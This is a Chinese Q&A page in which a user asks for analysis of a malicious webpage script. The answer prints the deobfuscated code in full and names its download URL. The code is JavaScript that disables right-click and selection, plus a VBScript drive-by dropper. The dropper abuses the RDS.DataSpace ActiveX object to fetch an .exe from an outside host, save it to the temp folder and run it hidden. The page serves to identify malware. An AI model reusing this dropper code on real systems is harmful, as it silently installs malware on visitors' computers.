Javascript 代码会的进来 首先这个是病毒网业代码请高手分析

发布时间:2024-05-05 11:04 发布:上海旅游网

问题描述:

对不起,首先这段代码由于字符太多无法写下
但是我放到我的空间上了。
真心请教:请专家帮我讲解。如果想多要分的话也可以让我看出你的实力
我会给200分甚至更多。
代码地址是http:574b.263g.net/123.txt
请你找出代码中自动运行的程序下栽地址并且写上说名。
联系方式百度知道写信就可以了谢谢。

问题解答:

网页最终执行下面的内容:
<script language=javascript>
yC79 = 5932;
if ( document.all )
{
function _dm ( )
{
return false
};

function _mdm ( )
{
document.oncontextmenu = _dm;
setTimeout ( "_mdm()" , 800 )
};

_mdm ( );
}
document.oncontextmenu = new Function ( "return false" );
function _ndm ( e )
{
if ( document.layers || window.sidebar )
{
if ( e.which != 1 ) return false;
}
};

if ( document.layers )
{
document.captureEvents ( Event.MOUSEDOWN );
document.onmousedown = _ndm;
}
else
{
document.onmouseup = _ndm;
};

nV48 = 3643;
dS13 = 7644;
function _dws ( )
{
window.status = "The page is protected by HTMLShip XP";
setTimeout ( "_dws()" , 100 );
};

_dws ( );
kI26 = 7071;
jB83 = 4504;
function _dds ( )
{
if ( document.all )
{
document.onselectstart = function ( )
{
return false
};

setTimeout ( "_dds()" , 700 )
}
};

_dds ( );
iO43 = 5647;
jR55 = 788;
aC60 = 3646;
mI7 = 4786;
lV67 = 5929;
bT32 = 9930;
rD37 = 2788;;

_licensed_to_ = "";
</script>

<script language="VBScript">
call show ("http://www.shlanshan.com/13/ztzt%2Eexe","heng.com")
sub show(Urls,fname1)
on error resume next
xx="object"
xxx="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
xxxx="classid"
xxxxx="Microsoft.XMLHTTP"
xxxxxx="Adodb.Stream"
xxxxxxx="GET"
xxxxxxxx="Scripting.FileSystemObject"
xxxxxxxxx="Shell.Application"
xxxxxxxxxx="open"
Set heng = document.createElement(xx)
heng.setAttribute xxxx, xxx
Set heng1 = heng.CreateObject(xxxxx,"")
Set heng3 = heng.createobject(xxxxxx,"")
heng3.type = 1
heng1.Open xxxxxxx, Urls, False
heng1.Send
Set heng2 = heng.createobject(xxxxxxxx,"")
Set tmp = heng2.GetSpecialFolder(2)
fname1 = heng2.BuildPath(tmp,fname1)
heng3.open
heng3.write heng1.responseBody
heng3.savetofile fname1,2
heng3.close
set QQ1111111 = heng.createobject(xxxxxxxxx,"")
QQ1111111.ShellExecute fname1,"","",,0
end sub
</script>

代码中自动运行的程序下载地址是:
http://www.shlanshan.com/13/ztzt.exe
说明就不写了,自己看吧,不难.
如果你对网页脚本不熟说了也白说,如果你对网页脚本比较了解应该能明白.

热点新闻